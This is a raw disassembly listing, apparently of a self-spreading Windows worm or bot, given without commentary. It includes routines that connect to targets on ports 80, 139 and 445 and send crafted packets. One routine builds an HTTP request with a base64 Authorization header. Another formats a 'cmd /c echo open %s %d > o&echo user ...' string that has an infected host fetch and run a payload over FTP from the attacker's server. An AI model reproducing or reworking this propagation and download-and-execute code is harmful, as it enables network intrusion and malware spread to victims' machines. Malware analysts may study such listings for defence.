		lea	ecx, [ebp+var_50]
		call	sub_40CC68
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40CB34
		lea	ecx, [ebp+var_58]
		call	sub_40CC68
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CD7F
		lea	ecx, [ebp+var_58]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CD16
		push	4
		push	offset dword_43203C
		lea	ecx, [ebp+var_18]
		call	sub_40CCE2
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CCE2
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_18]
		call	sub_40CC68
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CD33
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CD33
		lea	ecx, [ebp+var_40]
		call	sub_40CD43
		lea	ecx, [ebp+var_18]
		call	sub_40CBC3
		lea	ecx, [ebp+var_50]
		call	sub_40CBC3
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CD33
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CD33
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CD33
		lea	ecx, [ebp+var_38]
		call	sub_40CD43
		lea	ecx, [ebp+var_20]
		call	sub_40CBC3
		lea	ecx, [ebp+var_30]
		call	sub_40CBC3
		lea	ecx, [ebp+var_40]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_28]
		call	sub_40CC68
		push	2
		push	offset dword_4323A8
		lea	ecx, [ebp+var_28]
		call	sub_40CCE2
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CD33
		lea	ecx, [ebp+var_28]
		call	sub_40CD43
		lea	ecx, [ebp+var_38]
		call	sub_40CBC3
		lea	ecx, [ebp+var_10]
		call	sub_40CB2A
		lea	ecx, [ebp+var_8]
		call	sub_40CB2A
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_28]
		call	sub_40CBC3
		push	offset dword_4323A4
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	offset dword_4323A0
		lea	ecx, [ebp+var_10]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		push	offset dword_432394
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	(offset	loc_43238F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40D100
; ---------------------------------------------------------------------------


loc_40D0F2:				; CODE XREF: sub_40CD9E+1Bj
					; sub_40CD9E+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40D100:				; CODE XREF: sub_40CD9E+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CD9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D104	proc near		; CODE XREF: sub_40D1C8+A1p
					; sub_40D1C8+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40D16B
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40D16F


loc_40D16B:				; CODE XREF: sub_40D104+54j
		xor	eax, eax
		jmp	short loc_40D17F
; ---------------------------------------------------------------------------


loc_40D16F:				; CODE XREF: sub_40D104+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB9EC


loc_40D17F:				; CODE XREF: sub_40D104+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40D104	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D183	proc near		; CODE XREF: sub_40D1C8+81p
					; sub_40D1C8+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB9D0
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 4
		jz	short loc_40D1AD
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D1AD:				; CODE XREF: sub_40D183+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CBA24
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40D183	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1C8	proc near		; CODE XREF: sub_40D2A2+48p
					; ___:0040D716p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40D1F1
		xor	al, al
		jmp	loc_40D29D
; ---------------------------------------------------------------------------


loc_40D1F1:				; CODE XREF: sub_40D1C8+20j
		push	ebx
		push	0
		push	esi
		call	sub_41BF70
		push	2Fh
		push	offset dword_4320CC
		push	esi
		call	sub_41CD20
		push	8
		lea	eax, [esi+31h]
		push	offset dword_4320FC
		push	eax
		mov	[esi+2Fh], di
		call	sub_41CD20
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41CD20
		push	6
		add	ebx, edi
		push	offset dword_4CE6EC
		push	ebx
		call	sub_41CD20
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_432044
		push	ebx
		call	sub_40D183
		add	esp, 48h
		test	al, al
		jnz	short loc_40D259


loc_40D255:				; CODE XREF: sub_40D1C8+B5j
		xor	bl, bl
		jmp	short loc_40D294
; ---------------------------------------------------------------------------


loc_40D259:				; CODE XREF: sub_40D1C8+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40D183
		add	esp, 1Ch
		test	al, al
		jz	short loc_40D255
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		add	esp, 10h
		mov	bl, 1


loc_40D294:				; CODE XREF: sub_40D1C8+8Fj
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	al, bl


loc_40D29D:				; CODE XREF: sub_40D1C8+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D1C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2A2	proc near		; CODE XREF: ___:0040D6FCp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432108
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D2DD
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40D104
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D2DD
		cmp	[ebp+var_20], 82h
		jz	short loc_40D2E1


loc_40D2DD:				; CODE XREF: sub_40D2A2+1Bj
					; sub_40D2A2+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D2E1:				; CODE XREF: sub_40D2A2+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D1C8
		add	esp, 0Ch
		leave
		retn
sub_40D2A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2F4	proc near		; CODE XREF: sub_40D340+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427670
		call	sub_41D174
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427668
		fstp	[esp+10h+var_10]
		call	sub_41D055
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41D174
		inc	eax
		leave
		retn
sub_40D2F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D340	proc near		; CODE XREF: sub_40D4E2+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426AA7
		call	sub_41D640
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D977
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D2F4
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D382
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D8F2


loc_40D382:				; CODE XREF: sub_40D340+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D49F
		mov	ebx, [ebp+10h]


loc_40D391:				; CODE XREF: sub_40D340+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D39B
		push	3
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D39B:				; CODE XREF: sub_40D340+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D3A5
		push	2
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D3A5:				; CODE XREF: sub_40D340+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D3AE
		push	1


loc_40D3AD:				; CODE XREF: sub_40D340+59j
					; sub_40D340+63j
		pop	ebx


loc_40D3AE:				; CODE XREF: sub_40D340+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_427680
		fstp	[esp+40h+var_40]
		call	sub_41D19B
		pop	ecx
		pop	ecx
		call	sub_41D174
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D3ED
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D3ED:				; CODE XREF: sub_40D340+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D45B
		add	[ebp-18h], eax


loc_40D43F:				; CODE XREF: sub_40D340+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_432154[eax]
		push	eax
		push	1
		call	sub_40D774
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D43F


loc_40D45B:				; CODE XREF: sub_40D340+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D479
		push	dword ptr [ebp+14h]
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D7CD
		mov	[ebp-18h], edi


loc_40D479:				; CODE XREF: sub_40D340+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D493
		sub	esi, [ebp-1Ch]


loc_40D484:				; CODE XREF: sub_40D340+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D774
		dec	esi
		jnz	short loc_40D484


loc_40D493:				; CODE XREF: sub_40D340+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D391
		push	1
		pop	ebx


loc_40D49F:				; CODE XREF: sub_40D340+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		push	dword_427678
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D824
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D340	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D4E2	proc near		; CODE XREF: ___:0040D6DFp
		mov	eax, offset loc_426AC4
		call	sub_41D640
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43DB88
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D340
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41BEB5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D52C
		xor	bl, bl
		jmp	short loc_40D570
; ---------------------------------------------------------------------------


loc_40D52C:				; CODE XREF: sub_40D4E2+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_427688
		cmp	ecx, ebx
		jnz	short loc_40D53A
		mov	ecx, eax


loc_40D53A:				; CODE XREF: sub_40D4E2+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D542
		mov	eax, [ebp+18h]


loc_40D542:				; CODE XREF: sub_40D4E2+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41C360
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, esi
		jz	short loc_40D567
		xor	bl, bl
		jmp	short loc_40D569
; ---------------------------------------------------------------------------


loc_40D567:				; CODE XREF: sub_40D4E2+7Fj
		mov	bl, 1


loc_40D569:				; CODE XREF: sub_40D4E2+83j
		push	edi
		call	sub_41BA91
		pop	ecx


loc_40D570:				; CODE XREF: sub_40D4E2+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D977
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D4E2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_432300
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB710
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41C360
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_432198
		push	eax
		call	sub_40CD9E
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D63B
		xor	eax, eax
		jmp	loc_40D767
; ---------------------------------------------------------------------------


loc_40D63B:				; CODE XREF: ___:0040D632j
		mov	[ebp-0Ch], esi


loc_40D63E:				; CODE XREF: ___:0040D73Ej
		test	esi, esi
		jnz	loc_40D744
		push	6
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D72C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB9D4
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D721
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D6E9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D9B3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D4E2
		add	esp, 1Ch
		jmp	short loc_40D71E
; ---------------------------------------------------------------------------


loc_40D6E9:				; CODE XREF: ___:0040D6A7j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D703
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D2A2
		jmp	short loc_40D71B
; ---------------------------------------------------------------------------


loc_40D703:				; CODE XREF: ___:0040D6F3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D721
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D1C8


loc_40D71B:				; CODE XREF: ___:0040D701j
		add	esp, 0Ch


loc_40D71E:				; CODE XREF: ___:0040D6E7j
		movzx	esi, al


loc_40D721:				; CODE XREF: ___:0040D69Aj
					; ___:0040D70Dj
		push	ebx
		call	dword_4CBA6C
		test	esi, esi
		jnz	short loc_40D737


loc_40D72C:				; CODE XREF: ___:0040D657j
		push	3E8h
		nop
		call	near ptr 2680EF8h


loc_40D737:				; CODE XREF: ___:0040D72Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D63E


loc_40D744:				; CODE XREF: ___:0040D640j
		lea	ecx, [ebp-8]
		call	sub_40CBC3
		test	esi, esi
		jz	short loc_40D765
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40D765:				; CODE XREF: ___:0040D74Ej
		mov	eax, esi


loc_40D767:				; CODE XREF: ___:0040D636j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A88


loc_40D76C:				; CODE XREF: sub_426A88+3j
					; ___:00426AA1j ...
		push	1
		call	sub_40D977
		retn
; END OF FUNCTION CHUNK	FOR sub_426A88

; =============== S U B	R O U T	I N E =======================================



sub_40D774	proc near		; CODE XREF: sub_40D340+110p
					; sub_40D340+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D78E
		call	sub_42629A


loc_40D78E:				; CODE XREF: sub_40D774+13j
		test	ebx, ebx
		jbe	short loc_40D7C5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D7C5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41BF70
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D7C5:				; CODE XREF: sub_40D774+1Cj
					; sub_40D774+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D774	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D7CD	proc near		; CODE XREF: sub_40D340+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D7E7
		call	sub_42629A


loc_40D7E7:				; CODE XREF: sub_40D7CD+13j
		test	ebx, ebx
		jbe	short loc_40D81C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D81C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D81C:				; CODE XREF: sub_40D7CD+1Cj
					; sub_40D7CD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D7CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D824	proc near		; CODE XREF: sub_40D340+17Cp
					; sub_4261B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D83C
		call	sub_426173


loc_40D83C:				; CODE XREF: sub_40D824+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D84E
		mov	esi, [ebp+arg_8]


loc_40D84E:				; CODE XREF: sub_40D824+25j
		cmp	edi, ebx
		jnz	short loc_40D870
		push	dword_427678
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D9E8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D9E8
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D870:				; CODE XREF: sub_40D824+2Cj
		test	esi, esi
		jbe	short loc_40D8B3
		cmp	esi, eax
		jnz	short loc_40D8B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D884
		mov	eax, offset dword_427688


loc_40D884:				; CODE XREF: sub_40D824+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D8B3
		push	1
		mov	ecx, edi
		call	sub_40D977
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D89F
		mov	eax, offset dword_427688


loc_40D89F:				; CODE XREF: sub_40D824+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D8B3:				; CODE XREF: sub_40D824+4Ej
					; sub_40D824+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D8E9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D8CD
		mov	eax, offset dword_427688


loc_40D8CD:				; CODE XREF: sub_40D824+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41CD20
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D8E9:				; CODE XREF: sub_40D824+4Aj
					; sub_40D824+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D824	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8F2	proc near		; CODE XREF: sub_40D340+3Dp
					; sub_40D774+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D904
		call	sub_42629A


loc_40D904:				; CODE XREF: sub_40D8F2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D92D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D92D
		cmp	al, 0FFh
		jz	short loc_40D92D
		cmp	edi, edx
		jnz	short loc_40D968
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D922:				; CODE XREF: sub_40D8F2+47j
		mov	ecx, esi
		call	sub_40D977


loc_40D929:				; CODE XREF: sub_40D8F2+4Bj
					; sub_40D8F2+52j
		xor	al, al
		jmp	short loc_40D972
; ---------------------------------------------------------------------------


loc_40D92D:				; CODE XREF: sub_40D8F2+19j
					; sub_40D8F2+20j ...
		cmp	edi, edx
		jnz	short loc_40D946
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D93B
		push	1
		jmp	short loc_40D922
; ---------------------------------------------------------------------------


loc_40D93B:				; CODE XREF: sub_40D8F2+43j
		cmp	ecx, edx
		jz	short loc_40D929
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D929
; ---------------------------------------------------------------------------


loc_40D946:				; CODE XREF: sub_40D8F2+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D963
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D958
		cmp	eax, edi
		jnb	short loc_40D970


